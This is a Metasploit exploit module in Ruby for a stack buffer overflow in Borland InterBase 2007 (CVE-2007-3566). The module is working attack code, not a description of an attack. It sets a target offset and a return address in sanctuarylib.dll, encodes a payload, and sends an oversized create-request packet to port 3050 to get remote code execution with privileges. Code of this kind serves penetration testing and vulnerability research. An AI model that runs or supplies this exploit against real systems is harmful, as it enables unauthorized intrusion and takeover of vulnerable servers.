##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Borland Interbase Create-Request Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Borland Interbase 2007.
        By sending a specially crafted create-request packet, a remote
        attacker may be able to execute arbitrary code.
      },
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2007-3566' ],
          [ 'OSVDB', '38602' ],
          [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 850,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 English All / Borland InterBase 2007',     { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 24 2007'))

    register_options([Opt::RPORT(3050)])
  end

  def exploit
    connect

    # Build the exploit buffer.... It's a biggie!
    sploit =  "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
    sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
    sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)

    print_status("Trying target #{target.name}...")
    sock.put(sploit)

    handler
    disconnect
  end
end
